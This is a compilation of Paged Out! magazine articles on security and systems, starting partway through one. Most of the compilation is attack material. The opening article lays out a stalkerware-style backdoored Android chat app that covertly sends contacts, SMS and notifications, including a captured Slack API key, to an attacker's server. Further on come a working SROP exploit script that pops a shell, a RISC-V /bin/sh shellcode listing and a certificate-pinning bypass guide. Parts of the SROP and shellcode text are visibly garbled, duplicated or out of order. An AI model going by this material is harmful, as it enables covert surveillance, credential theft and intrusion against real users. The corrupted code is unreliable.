To overcome this problem I thought of building an app containing a backdoor using plain Java in Android Studio. Rather than building payloads using MsfVenom to get a reverse shell from the Android device, we can simply use Android libraries and services to get the job done for us. For example, we can read contacts, call logs, messages and even notifications! All we need is some social engineering and permissions.

Quick way to build a Backdoored Application:
Instead of inventing something new, we can use for example the chat application from the Firebase Android tutorial:
https://codelabs.developers.google.com/codelabs/firebase-android/
The fact that it is a chat app makes the user think that this app requires the permissions we’re after (contacts, notifications, messages). Now we need to write the code to perform our activities in the background.

1. To read contacts and call logs
This can be done simply by asking permission from the user (READ_CALL_LOG, READ_CONTACTS) and then reading the contacts and call logs when the application starts for the first time by using Java classes android.provider.CallLog and android.provider.ContactsContract.

2. To read notifications and messages
We can similarly ask for permission for notifications (BIND_NOTIFICATION_LISTENER_SERVICE) and messages (READ_SMS) and run it as a service (NotificationListenerService) so that it keeps on working in the background. There is one complication that if the application is stopped the service will be killed automatically. The solution for this is to use a service flag, which can be set to START_STICKY and after being killed for few seconds it will restart and pass the intent again (kind of a hack for push notifications).
https://llin233.github.io/2015/11/16/How-to-prevent-service/

3. Building a Rest API and receiving data
Now we just need to write an API and get the data transported to us whenever a notification or a message arrives.
https://square.github.io/retrofit/
https://www.tutorialspoint.com/nodejs/nodejs_restful_api.htm

What can be achieved using this?
First of all, we will be able to read contact info and text messages continuously. Using this we can find a lot of critical information (sharing of credentials, OTPs, API keys, and whatnot). Also, we will be able to read notifications from other applications that are running in the background. For example, if the company is using Slack to communicate with other employees, we might be able to read API keys, which could further help to gain further access.

2019-10-09 00:00:19.102 24392-24392/? I/Package: com.Slack
2019-10-09 00:00:19.102 24392-24392/? I/Title: #general
2019-10-09 00:00:19.102 24392-24392/? I/Text: dominator98: API key for testing is: dGVzdGluZzEyMw==
2019-10-09 00:00:19.203 24392-24392/? I/Package: com.Slack
Android Studio logs (reading API keys from Slack)

As shown in the above example, we can read critical information from notifications.

The project can be found here:
https://github.com/DoMINATOR98/ChatApplication_for_Pentesting

Kartik Sharma
SAA-NA 0.0.5
Sigreturn-Oriented Programming
An Introduction

Sigreturn-oriented programming or SROP is similar to return oriented programming, since it employs code reuse to execute code outside of original control flow. If an attacker can control the instruction pointer and the stack, and the binary has a pop rax and syscall gadgets, they can program the binary to execute whatever they want.

SROP takes advantage of the sigreturn syscall (syscall no 15 on linux x64). Whenever a signal is received by a program running in a unix based system, the kernel needs to switch the context in order to service the signal; to do so, the kernel pushes the current execution context in a frame on the stack. When the signal handler routine finishes, it calls the sigreturn system call, which loads the saved execution context frame from the stack. Now if an attacker can control the stack and then make a sigreturn syscall, then the kernel has no way of knowing whether the syscall is legitimate or not so it will assume that this is the case and will load the execution context frame from the stack which was crafted by the attacker.

The above payload first loads rax with 15, which is the sigreturn syscall number (59) and execve syscall number (59) and rdi with the address of the `'/bin/sh'` string, which is also present inside the binary, and then loads rip with the address of the syscall gadget. Now when the syscall instruction is executed, a shell will pop.

An attacker can also chain many execution context frames to create all types of payloads including reverse shells or payloads to create persistent backdoors in the operating system. The major reason why sigreturn-oriented programming is so powerful is that it is Turing complete, i.e, a simple virtual machine can be created that can be used as a compilation target for a turing-complete language, so an attacker can do virtually anything once they can control the stack, rip and they have the pop rax and syscall gadgets.

The code above can be compiled using the command:

```
nasm -f elf64 srop.asm -o srop.o & & ld srop.o -o srop
```

For the sake of convenience, I included the `'/bin/sh'` string in the binary. Clearly we can overwrite the rip at offset 0x48 and control the stack. So let’s create an exploit using pwntools, as it makes it easy to generate execution stack frame.

```
#!/usr/bin/env python2
from pwn import *
context.arch = 'amd64'
padding = 'A'*0x48
pop_rax = 0x00000000000401020 #pop rax, ret gadget
syscall = 0x000000000004010b #syscall gadget
bin_sh = 0x0000000000420000 #/bin/sh location
p = process('./srop')
payload = padding
payload += p64(pop_rax)
payload += p64(15)
payload += p64(syscall)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = bin_sh
frame.rip = syscall
payload += struct(frame)
with open('payload','wb') as pp:
    pp.write(payload)
p.sendline(payload)
p.interactive()
```

The code related to the article can be found at [https://github.com/mishrasunny174/SROP](https://github.com/mishrasunny174/SROP)

For more details you can read an awesome paper Framing Signals - A Return to Portable Shellcode by Erik Bosman [https://www.researchgate.net/publication/28668165_Framing_Signals - A Return_to_Portable_Shellcode](https://www.researchgate.net/publication/28668165_Framing_Signals - A_Return_to_Portable_Shellcode)

---

**Execution Context Frame**

To understand SROP better let us consider a simple example using an intentionally vulnerable binary written in x64 assembly.

```
section .data
    syscall
section .text
  push 0
  pop rax
  _vuln:
    push rbp
    _start:             
      mov rbp, rsp     
      push rbp       
      sub rsp, 0x40    
      mov rax, 0      
      call _vuln     
      mov rdi, 0      
      mov rax, 0x40    
      lea rsi, [rbp-0x40]  
      mov rdi, 0      
      mov rdx, 0x40    
      syscall
```

The above payload first loads rax with 15, which is the sigreturn syscall, using the pop rax gadget, and then returns to a syscall gadget which loads the stack frame from the stack, also controlled by the attacker. Here the exploit creates a basic execution context frame which loads rax with `execve` syscall number (59) and rdi with the address of the `'/bin/sh'` string, which is also present inside the binary, and then loads rip with the address of the `syscall` gadget. Now when the syscall instruction is executed, a shell will pop.
### Gigacage

**A WebKit Exploit Mitigation Technique**

JavaScript engines have long been a preferred target for attackers. In this article, I will introduce Gigacage, an implementation of heap isolation technique in JavaScriptCore, WebKit's Java script engine.

Some JavaScript objects can be easily manipulated to become very powerful read and write primitives. An example of those can be TypedArrays which are data structures that give the user precise control over the memory of their underlying storage buffer. If an attacker can exploit some bug to write primitive on the pointer of the buffer of a TypedArray, they can easily enhance that primitive into a more powerful one that allows arbitrary read and write, fake objects and leak memory addresses. That's exactly what Gigacage tries to mitigate.

Gigacage divides different types of objects into different classes, HeapKinds, where each kind has a separate heap. Memory access to objects in these heaps is verified and modified to ensure that cross heaps access will not be possible.

As of writing this article, there are 5 HeapKinds:

1. Primary heap, representing regular allocation that are not protected by Gigacage
2. PrimitiveGigacage for primitive contiguous memory arrays
3. JSValueGigacage for Butterfiles

During WebKit initialization gigacage:ensureGigacage() is called, which takes care of allocating the heaps. It calls tryVMAllocate() which calls map2() internally to create maskable memory regions for every HeapKind. This way, the mapped addresses can be used as base addresses for their heap allocations. The address of every allocated heap is stored in a global structure called g_gigacageBasePtrs to allow quick access to the base address of every heap.

Adjacent to every heap lays a memory range of 32GB, called gigacageRunway. This memory region is set to have no permission by calling mprotect() with PROT_NONE. Therefore, every attempt to access this memory region will cause the kernel to generate a SIGSEGV signal and crash the process.

The rationale behind the runway is that JavaScriptCore uses unsigned 32bit integers as indices to objects that support indexing, and the maximum size of each object is 8 bytes (\(2^{32} - 8\) = 52GB). Therefore, even if an out-of-bounds access on a gigacaged object is achieved, it will win within the cage or runway.

Since runways are intended to mitigate cross-heaps accesses, it only makes sense to place them between heaps, and since there are only two HeapKinds protected by Gigacage, there is only one runway.

If we look at G gigacageBasePtrs we will be able to observe those base addresses of the allocated heaps. Be advised, the following example was taken on an x86-64 platform, sizes may vary on other platforms (e.g. ARM64, if you're debugging on iOS).

```
(lldb) p *((<Gigacage::BasePtrs>*g_gigacageBasePtrs)
0x18b48fe1e8
```

Later, when gigacaged objects are created, they are allocated with a special allocator that uses the formerly allocated heaps, so each address can be treated as relative to its' heap base address.

When used, the address of a gigacaged object is being treated as an offset from the base address of the HeapKind it belongs to. This is done by masking off the higher bits of the address and adding the resulting number to the matching base address from g_gigacageBasePtrs.

If a pointer to a gigacaged object has been corrupted and replaced with an address that does not belong to the same heap, a memory access on that gigacaged object will affect an address in the original heap, or land in the runway and crash the process.

```c
BUILTIN ** caged(Kind kind, **ptr)
{
    BASEPTR(ptr);
    void* gigacageBasePtr = basePtr(kind);
    if (gigacageBasePtr)
        return ptr;
    reinterpret_cast<T*>(gigacageBasePtr) = {
        reinterpret_cast<uintptr_t>(ptr) & mask(kind));
    }
}
```

Any class that wants to protect one of its' data members using Gigacage, should use the CagedPtr template, with the chosen HeapKind in its' definition, and have that data member allocated from the heap of that HeapKind.

For the example, we can look at \(\text{a}, \text{aJSobject that is backed by a }\text{Butterfly and }\text{ua, a Uint8Array that is backed by a vector.}\)

```
>> describe(o)
Object: 0x18b8c000 with buffer 0x18b8f000 (Structure
0x18b8c000): [Object, {}, NonArrayWithContiguous,
Proto: 0x18b8c000, Leaf],
structured: 0x5c0

(lldb) p ((JS:JSObject*)0x1088b000)->butterfly
(JS:AuxiliaryBarrier<JS::Butterfly> *o = { (value = 0x00000018f000);
}
```

By comparing the addresses of o.butterfly and m_vector, the gigacaged backing objects of \(\text{o}\) and \(\text{ua}\), to the corresponding gigacaged base addresses (shown previously within g_gigacageBasePtrs global structure), we can see that o.m.butterfly has been allocated from JSValueGigacage and that ua.m_vector has been allocated from PrimitiveGigacage.

The following figure suggests a convenient way to look and understand the memory layout that Gigacage applies.

![Gigacage Memory Layout](https://example.com/gigacage_layout.png)

The objects that were chosen to be protected by Gigacage are considered highly valuable for attackers. Therefore, when PAC (Pointere Authentication) was introduced in Apple A12 processors, it made a lot of sense to use Gigacage's infrastructure to sign and authenticate pointers, making gigacaged pointers forgery even harder.

---

1. This article was originally posted on my blog, [https://phakeobj.notlif.com/posts/gigacage](https://phakeobj.notlif.com/posts/gigacage)
2. Gigacage first implementation to be merged to WebKit, [https://github.com/WebKit/webkit/commit/d2bbe27](https://github.com/WebKit/webkit/commit/d2bbe27)
3. Attacking JavaScript Engines (easter, 2016) provides a wonderful introduction to JavaScriptCore, [J]Objects, Buffers, etc. [https://www.ohloh.org/papers/attacking-javascript-engines.html](https://www.ohloh.org/papers/attacking-javascript-engines.html)
Royal Flags Wave Kings Above

*Royal Flags Wave Kings Above* was a mnemonic used by the code-breakers at Bletchley Park, to remember the turnover positions of the Enigma machine rotors I, II, III, IV, and V.

The Enigma machine is an electro-mechanical encryption device used by the Germans during World War II to transmit coded messages.

Ciphering was the necessary consequence of radio communications, which had to be used for aerial, naval, and mobile land warfare, where a radio message to one was a message to all. Virtually every German official radio communication was enciphered on the Enigma machine.

**Inner Workings**

An Enigma machine consists of several mechanical parts, most notably: keyboard, plugboard (used for swapping two letters), different types of rotors and stators and a lampboard. The machine used electrical wirings to perform automatically a series of alphabetical substitutions. An Enigma machine would be used in a fixed state only for enciphering one letter, and then the outermost (fast) rotor would move round by one place, creating a new set of connections between the input and the output. The following diagram shows the state of the rotors at some particular moment in its use. The lines marked correspond to current-carrying wires.

A simple switch system at the input has the effect that if a key (say the B key) is depressed, a current flows (as shown in the diagram by bold lines), gets reflected from the reflector, flows through another unique path and lights up a bulb in the output display panel (in this case, under the letter D).

For the hypothetical 8-letter Enigma, the next state of the machine would be:

**Operating the Enigma**

The first thing an operator needs to do is setup the Enigma to the day’s key which is given in a code-book that is valid for only one month. For each day of the month, the code book gives the date, the ring-settings for each rotor, the order of the rotors (each rotor has unique wiring) on the spindle, the plugboard jumper settings and the starting position on each rotor. Only after configuring these settings the operator can start typing in the original plaintext message.

Every letter typed in the Enigma, causes a light bulb to go on and light up a letter on the light bulb panel. A second Enigma operator writes down the letters that were illuminated by the light bulbs. The letters that are written down are the Enigma ciphered text version of the plaintext. The second Enigma operator transmits the coded message by radio telegraph morse code to the receiving station. An Enigma operator on the receiving station, having the same day settings as the sender, would then type in the ciphered message and get the original plaintext message.

They knew that the Allied forces could intercept the radio transmission but they thought that the Allies will never be able to decode the enciphered messages. They were wrong.
RISC-V Shellcoding Cheatsheet

@binarychrysh

General Information
- RISC (Reduced Instruction Set Computer)
- No push/pop, instead loads and stores relative to SP (Stack Pointer)
- PC (Program Counter) separate, cannot be referenced directly
- Little endian
- 32 integer registers with 32-bit (RV32)/64-bit (RV64) width

Differences to other architectures

<table>
<thead>
<tr>
<th></th>
<th>RISC-V</th>
<th>ARM (A64)</th>
<th>x86_64</th>
</tr>
</thead>
<tbody>
<tr>
<td>Passing function arguments</td>
<td>a0..a7, rest on stack</td>
<td>x0..x7, rest on stack</td>
<td>RDI, RSI, RDX, RCX, R8, R9</td>
</tr>
<tr>
<td>Instructions accessing memory</td>
<td>Only load/store</td>
<td>Only load/store</td>
<td>Most (add, or..)</td>
</tr>
<tr>
<td>Instruction size</td>
<td>4 byte (2 byte Compressed Instruction Extension (RVC))</td>
<td>4 byte (ARM 32 bit: 2 byte in Thumb mode)</td>
<td>Variable (1-15 byte)</td>
</tr>
</tbody>
</table>

Registers

RISC-V is a RISC architecture, which shows in the abundance of registers:

<table>
<thead>
<tr>
<th>Alias</th>
<th>Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>x0</td>
<td>zero Always zero</td>
</tr>
<tr>
<td>x1</td>
<td>ra Return address</td>
</tr>
<tr>
<td>x2</td>
<td>sp Stack pointer</td>
</tr>
<tr>
<td>x8</td>
<td>s0/fp Saved register / frame pointer</td>
</tr>
<tr>
<td>x9</td>
<td>s1 Saved register</td>
</tr>
<tr>
<td>x10–11</td>
<td>a0–1 Function argument / return value</td>
</tr>
<tr>
<td>x12–17</td>
<td>a2–7 Function argument</td>
</tr>
</tbody>
</table>

Prologue and Epilogue
A typical function stores the return address ra and frame pointer s0 on the stack on function entry (ld: load double on RISC-V 64 bit).

main:

- **addi sp,sp,-16** ; make space for return address, frame pointer and local variables
- **sd ra,8(sp)** ; save return address
- **sd s0,8(sp)** ; save frame pointer
- **addi s0,sp,16** ; set new frame pointer
- **ld ra,8(sp)** ; restore return address from stack
- **ld s0,0(sp)** ; restore frame pointer
- **addi sp,sp,16**
- **jr ra** ; jump to return address

(Decompiled with [https://godbolt.org/](https://godbolt.org/))

Shellcode

The following shellcode creates the string “/bin/sh” on the stack on function entry (ld: load double on RISC-V 64 bit).

```
Machine code                Asm code
0111                        addi sp, sp, -32 ; prologue..
06ec                        sd ra, 24(sp)
22e8                        sd s0, 16(sp)
13042102                    addi s0, sp, 34
                            ; hex("/bin/sh") = '0x68732f6e69622f'
 b767696e                   lui a5, 0x6e696 ; create
 9387f722                    addi a5, a5, 559 ; "/bin/sh"
2330f4fe                   sd a5, -32(s0) ; on stack
 b7776810                   lui a5, 0x10687 ; ..
 334b0081                   xor a6, a6, a6 ; ..
 0508                        addi a6, a6, 1 ; ..
 7208                        sl1 a6, a6, 0x1c ; ..
 b3870741                   sub a5, a5, 66 ; ..
 9387f732                   addi a5, a5, 815 ;
 2332f4fe                   sd a5, -28(s0) ; load addr
 930704fe                   addi a5, s0, -32 ; of string
 0146                        li a2, 0 ; envp=NULL
 8145                        li a1, 0 ; argv=NULL
 3e85                        mv a0, a5 ; put address of "/bin/sh" into first arg
 9308d00d                   li a7, 221 ; syscall number for execve
                            ; create instruction
                            0x00000073 (=ecall) on stack..
 93063007                   li a3, 115
 230ed1ee                   sb a3, -260(sp)
 9306e1ef                   addi a3, sp, -258
 6780e6ff                   jr -(a3) ; ..and jump there.
```


chrysh
SAA-ALL 0.0.5

Twitter: @binarychrysh
Github: https://github.com/chrysh
Bypass Android certificate pinning and intercept app traffic with Burp suite

● Introduction
Certificate pinning¹ is the process of comparing the server’s TLS certificate against a saved copy of that certificate, app developers are often encouraged to bake in a copy of the server’s certificate and make use of certificate pinning because it increases the complexity of MITM attacks. There are two ways of bypassing it: the first one is to decompile the .apk, patch the smali code and recompile it; the second one is to install the Burp CA as system-level CA on the device. I’m going to cover the second one, since last Paged out! issue explained how to decompile .apk files to inspect them.

● Prerequisites
  ○ Burp suite, openssl, adb
  ○ Rooted Android (7+) device²
  ○ Wireless network shared between the two devices (the one running Burp suite and the device)

● Install the Burp certificate as system-level CA
  ○ Export the Burp CA
      Start Burp suite, navigate to Proxy > Options > Import/export Ca certificate
  ○ Convert the CA using openssl, since Android wants it in .pem format and to have the filename equal to the subject_hash_old value appended with .0
      $ openssl x509 -inform DER -in cacert.der -out cacert.pem
      $ openssl x509 -inform PEM -subject_hash_old -in cacert.pem | head -i
      $ mv cacert.pem <hash>.0
  ○ Mount /system as writable, then copy the certificate to the device
      $ adb root
      $ adb remount
      $ adb push <cert>.0 /sdcard/
  ○ Spawn a shell, move the certificate where it belongs and chmd to 644
      $ adb shell
      $ mv /sdcard/<cert>.0 /system/etc/security/cacert/s/
      $ chmod 644 /system/etc/security/cacert/s/<cert>.0
  ○ Reboot the device, browsing to Settings → Security → Trusted credentials should show “Portswigger CA” as system certificate.

● Configure the proxy server on Burp suite
  ○ Start Burp suite, navigate to Proxy → Options → Proxy listeners → Add and add a new proxy binded to an unused port and to all the interfaces.

● Configure the proxy server on Android
  ○ Long press the name of the wireless network you want to modify the proxy for (the one you will share between the two devices), then navigate to Modify network → Advanced options → Proxy → Manual
  ○ Use the IP of the machine running Burp as Proxy address, and set the same port used on Burp proxy in order to properly route the traffic.

● Intercept the traffic
  ○ Reconnect to the wireless network on your Android device, you should start seeing traffic flowing on Burp’s Intercept tab.

---

¹ https://www.owasp.org/index.php/Certificate_and_Public_Key_Pinning

© 2019 WTFPL – Do What the Fuck You Want to Public License.
3. The key recovery process

Since we have all 16 bytes of decrypted data, we can restore our key. The first character from our key decrypts the first column, and the second character decrypts the second column, and so on. Furthermore, the key is nothing more than 16 different shifter values. As the next step, we need to find out a shifter value for each byte from the PNG header that was restored. This shifter value is moving bytes in columns, not rows, and there were multiple valid shifter values for some of the header bytes. Instead of manually testing each valid position, we can use the cartesian product for our brute force script. It might vary based on the encrypted image - I had 24 valid combinations to check with a custom script. Providing a valid key generates the first QR code image with hidden flag.

key: 4549618526012495
flag: picoCTF{cfbdafe5a65de4f32ccee2e81e8c14a39}

4. The Script Kiddie 2 (450 points)

There were two major changes in the second challenge: different shifter value, and the length of a key. The rest of the code stays the same. The new shifter value uses every second character from the key, which means that even though the key is expected to have 32 characters, it's only using 16 characters. The same decryption procedure applies as in the first challenge to decrypt an image.

key: 3738193605318569
flag: picoCTF{3aa9bd64cb6883210ee0224baec2cbb4}

Check for more details on the challenge, source code and visualisations on my blog۱.

---

۱ https://medium.com/@radekk
Peering AWS VPCs

AWS Virtual Private Cloud (VPC) is an isolated virtual network, and all new accounts use these VPCs to launch EC2 instances. Peering allows one VPC to access resources from another, and can come in handy when dealing with multi-region redundancy or when dividing services by VPC.

(These steps assume that you already have an AWS account, and that you are peering two VPCs together on your own account, providing full access between the two of them.)

Ensure that both VPCs have no overlapping IPv4 CIDR blocks -- if there is any overlap, then the peering request will fail. To check this, for each VPC being peered, find the VPC in the list of “Your VPCs”, and examine IPv4 CIDR blocks. In my experience, default VPCs start with the same IPv4 CIDR blocks, so we have to create a new VPC in one of the regions.

If you have overlapping IPv4 CIDR blocks, then in one region, create a new VPC, then create new subnets for it. If you need internet-connectivity, make sure the new VPC has an internet gateway attached to it.

Now you can peer your VPCs! Go to Peering Connections → Create Peering Connection. Fill in the fields and create the peering request.

Accept the request by switching to the region of the other VPC, then navigate to Peering Connections. Select the peering request, choose Actions, then Accept Request.

Update the route tables in both VPCs -- for each region, navigate to the route tables. Each route table must have a route for the local IPs, the internet gateway (if needed), and the peer connection.

For example, for two VPCs with the subnets 192.100.0.0 and 172.31.0.0:

<table>
<thead>
<tr>
<th>VPC 1 -- 192.100.0.0</th>
<th>VPC 2 -- 172.31.0.0</th>
</tr>
</thead>
<tbody>
<tr>
<td>192.100.0.0/16</td>
<td>local</td>
</tr>
<tr>
<td>0.0.0.0/0</td>
<td>igw-bec1d9a7</td>
</tr>
<tr>
<td>172.31.0.0/16</td>
<td>pcx-007c698</td>
</tr>
<tr>
<td>172.31.0.0/16</td>
<td>local</td>
</tr>
<tr>
<td>0.0.0.0/0</td>
<td>igw-5c189f23</td>
</tr>
<tr>
<td>192.100.0.0/16</td>
<td>pcx-007c698</td>
</tr>
</tbody>
</table>

Where ‘pcx-007c698’ is the VPC peer connection ID, and the ‘igw-*’ is the Internet Gateway.

Update Security Groups on each side to allow connections. Continuing with the above example, if you want to let servers from the 172 VPC to access MySQL in the 192 VPC, you'd create a rule like this:

| MYSQL/Aurora | TCP | 3306 | 172.31.0.0/16 |

References:
https://docs.aws.amazon.com/vpc/latest/peering/what-is-vpc-peering.html
https://docs.aws.amazon.com/vpc/latest/peering/create-vpc-peering-connection.html#create-vpc-peering-connection-local

https://github.com/ikisler
cURL- tips to remember

Although cURL\(^1\) can be used with many different protocols, during its lifetime HTTP was one of the most frequently used ones. Here are some useful tips to remember.

1. Don’t specify anything and just GET the page.
   ```
   $ curl http://example.com
   
   * For more information and headers use --v.
   ```

2. It’s too much, I just want the HEAD.
   ```
   $ curl -I http://example.com
   ```

3. On the second hand, I’ve decided to POST stuff.
   ```
   $ curl -d 'fname=jon&lname=doe'
   http://example.com
   ```

4. Wait, wait, let’s PUT those cards on table.
   ```
   $ curl -d 'fname=jonathan' -X PUT
   http://example.com
   
   * If you want to change methods use -X or --request, e.g. sending a PUT instead POST.
   ```

5. On the other hand, I’ve got a file for you.
   ```
   $ curl -T uploadme http://example.com
   or
   $ curl --data '@uploadme' http://example.com/newfilename
   or (to be fancier)
   
   $ cat uploadme | curl --data '@-' http://example.com/newfilename
   ```

6. What if I need to pass a custom HEADER?
   ```
   $ curl -H 'X-First-Name: Jon'
   http://example.com
   or
   $ curl -d '{json}' -H 'Content-Type: application/json'
   http://example.com
   ```

7. There’s a reason why I look like that.
   ```
   $ curl --path-as-is
   http://example.com/x/.../y/
   
   * Don’t squash sequences of /../ or /./ in the given URL path.
   ```

8. Knock, knock, there’s some Basic lock here.
   ```
   $ curl -u admin:secret http://example.com
   ```
   * Capital -U is used for proxy authentication.

9. Could I get a Cookie please (nom, nom)?
   ```
   $ curl -c cookie.txt http://example.com
   ```

10. Excuse me, I want that cookie back?
    ```
    $ curl -b cookie.txt http://example.com
    ```

---

Tip: Cookie file format?\(^2\)

CURL uses a cookie format called Netscape, which each line is a single piece of information represented by following fields (read from left-to-right):

```
domain flag path secure expiration name value
```

Example:

```
.netscape.com   TRUE   /   FALSE
946684799   NETSCAPE_ID   100103
```

---

11. Just download the file.
    ```
    $ curl -o file
    http://example.com/file.html
    
    * The upper-case -O will create a file named like on the remote server.
    ```

12. Fill the form and submit.
    ```
    $ curl -F 'fname=john' -F 'lname=doe'
    http://example.com/form-submit
    
    * This is an example of multipart "formpost".
    ```

13. Excuse me, your call needs to be redirected.
    ```
    $ curl -L http://example.com
    ```
    * As it sounds, such request follows the Location header to reach the endpoint.

14. Do you support HTTP/2 or HTTP/3?
    ```
    $ curl --http2 http://example.com
    $ curl --http3 https://example.com
    ```
    * HTTP/3 needs to be explicity enabled during build process. Please refer to this upgrade guide if you want to play with it: https://github.com/curl/curl/blob/master/docs/HTTP3.md

15. Forgotten little gem.
    ```
    $ curl -w
    'Type:%{content_type}
    Code:%{response_code}\n    \n    ' -I -L https://google.com
    ```
    * Writes out information after transfer has completed by using a special %{variable}.

---

Tip: HTTP response Codes

The first digit of a HTTP response defines the error group:

- 1xx: informational
- 2xx: success
- 3xx: redirections
- 4xx: client-side errors
- 5xx: server-side errors

---

\(^1\)https://ec.haxx.se/
\(^2\)http://www.cookiecentral.com/faq/#3.5
\(^3\)https://ec.haxx.se/usingcurl-writeout.html
Deprecating set-uid: Capability DO

Set User ID

Set user id binaries are the first foothold to get root permission on UNIX systems, even some CTF challenges are based on this feature of the operating system.

Set user id works by attaching special permission on the executable file. With this permission, the application can ask the system to elevate (or drop) its privileges to the privileges of the owner of the executable.

To print all the root set-uid programs installed in your system you can use the following find command:

```bash
% find / -type f -perm /2000 -user root
```

If you assign the setuid permission to a file owned by root the executable will be able to do everything that root can. So, for instance, if you set the setuid bit on `/usr/bin/wireshark` Wireshark will have the capability to read `/etc/shadow` or to write every file in your system, pretty funny, uh?

ex-POSIX capabilities

The power of root can be limited through a mechanism called capabilities.

Currently, there are 37 different capabilities, one for every privilege of root (configure the network, bind sockets to a low numbered port, bypass filesystem permissions, etc), the manpage capabilities(7) list all capabilities and their proprieties.

If you look carefully you already have capabilities in modern systems for example, you can install Wireshark with packet capture capabilities, leading all users to capture packets of your network...

To list all the executables that have capabilities and which capabilities are associated with the file you can use:

```bash
% find / -type f -exec getcap {} \;
```

The sudo problem and the response: cado

If I say 'privilege escalation' you should immediately think about Sudo (or doas if you are more in the OpenBSD side). This program leverages set-uid permission to give you the possibility to change your user without logging out.

But what if you want only to configure your interface and you don’t want to be able (or give this possibility to a program or a user) to read root-owned files like `/etc/shadow`? You can’t, yeah, you can limit the executable programs you can use from the sudoers file, but that’s not the point! If you don’t know a priori which program you will need to configure your network or you’re not sure if your program is secure you’ll never be able to confine your security with this mechanism. An effective way to confine the security without using a capability based mechanism is mandatory access control like SELinux or AppArmor policies. This systems are indeed powerful but sometimes difficult to setup and maintain³. Here is where you can introduce a capability-based method to design your system security by using cado: capability do. With this tool, you can generate confined environments with superpowers like:

% cado net_raw wireshark

Obviously, as for sudo, it will ask your password, check if you’re eligible for the privilege escalation and then it will execute your code.

Thus to configure your network you can stop using `sudo ip addr add ...` or, even worst `su -` or `sudo -s` and you can just do `cado net_admin bash`, inherit network capabilities and then issue every network configuration you want being sure that a misplaced `rm -rf` will nuke only the files owned by the current user.

Dropping capabilities: cadrop

Once you’ve configured your system and you’re done with boring administrative tasks, you can return to a non-privileged user using a command like:

% cado drop net_raw

This can be useful if you want to create a least privilege environment, so, if your process gets pwned, it will not have the privilege to sniff your password over the network, even if it is being transmitted in plain text.

Superpowers in scripts: scado

Now you can have a question like ‘yeah ok, but what if I want to elevate my privileges in batch scripts?’ and it’s a very good question. Privilege escalation in batch context is a very critical operation. Sudo, for instance, allows to specify which executables can be executed without the password requirements. Also, in most default configurations, it will not require your password if you have entered your password correctly in the last 15 minutes.

In some cases, you want more freedom as a user. Let’s say that you have the CAP_NET_RAW capability and you have a network sniffing service that you want to fire every ten minutes to analyze the traffic for half a minute. First, you create a crontab with your command as:

% cado net_raw tshark -w /$(date +%s).pcap

After ten minutes you have a problem. You cannot execute the sniffer because you need to enter your credentials to give capabilities to tshark: which is a good thing as you should always use an unprivileged user to execute code and rely on authentication to elevate your privileges. But, if you’re sure that you really need to execute an automated script which requires to elevate its privileges you can use scado⁴. With this tool, you declare an executable that will always get permissions without the need of authenticating yourself.

---

1Assuming that Wireshark does not drop Linux capabilities from itself.
2Referring to the latest kernel version at the time of writing: 5.3.8.
3So, if we put it in capability terminology: You don’t want to have CAP_DAC_OVERRIDE.
4Please, in every case, don’t disable this systems: take a look at https://stopdisablingselinux.com/.
5script cado. Pun intended: in Italian scado means to expire, also cado means to fall down. as sudo means to sweat.

https://github.com/rd235/cado
https://wiki.virtualsquare.org/
An article for *Paged Out!* about how to write an article for *Paged Out!* in markdown (a recursive article).

This is an example two-column template for a *Paged Out!* article. The key is pandoc. It can be configured to convert the article written in markdown to pdf using LaTeX’s A4 article with proper margin settings.

Just add the following header:

```
---
classoption:
- twocolumn
- nonumber
geometry:
- a4paper
- totalwidth=6.85in
- totalheight=9.92in
- top=0.63in
- left=0.71in
header-includes:
\pagestyle{empty}
...
```

This command creates your wonderful new article for *Paged Out!*

```
$pandoc myarticle.md -o myarticle.pdf
```

If you want a single column output just skip the line `- twocolumn`.

**Formatting basics**

* **Italics** and **bold** is available using standard markdown: *

> *italics* and **bold**.

Item lists work as well:

- item1
- item2

The markdown source is simply:

```
* item1
* item2
```

**Code Listings**

It is possible to create nice colorful listings:

```
#include <stdio.h>
int main(int argc, char *argv[]) {
    printf("hello world\n");
    return 0;
}
```

It supports also...

**Sections and Subsections**

This is the source:

```
# Sections
## and Subsections
```

**Images**

This is our logo: www.virtualsquare.org

![logo](logo.png)

This is the source (in this example logo.png is an image in the same directory of the markdown source):

```
![logo](logo.png)
```

**Tables are tricky:**

```
<table>
<thead>
<tr>
<th>Right</th>
<th>Left</th>
<th>Center</th>
<th>Default</th>
</tr>
</thead>
<tbody>
<tr>
<td>12</td>
<td>12</td>
<td>12</td>
<td>12</td>
</tr>
<tr>
<td>123</td>
<td>123</td>
<td>123</td>
<td>123</td>
</tr>
<tr>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
</tr>
</tbody>
</table>
```

The source code is the following:

```
\begin{center}
\begin{tabular}{llll}
| Right | Left | Center | Default | \\
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>12</td>
<td>12</td>
<td>12</td>
<td>12</td>
</tr>
<tr>
<td>123</td>
<td>123</td>
<td>123</td>
<td>123</td>
</tr>
<tr>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
</tr>
</tbody>
</table>
\end{tabular}
\end{center}
```

It works only in single column mode. The workaround/trick to make it work in two-columns mode is to is write a pandoc/latex header to use *supertabular* instead of *longtable*. In the `header-includes` section add:

```
\usepackage{supertabular}
\let\longtable\supertabular
\let\endlongtable\endsupertabular
\let\endhead
```
Paged Out! #3 Call For Papers  Submission deadline: 20 February 2020
Accepting articles about programming (especially programming tricks!), infosec, reverse engineering, OS internals, retro computers, modern computers, electronics, hacking, demoscene, radio, and any other cool technical stuff!

For details please visit:
https://pagedout.institute/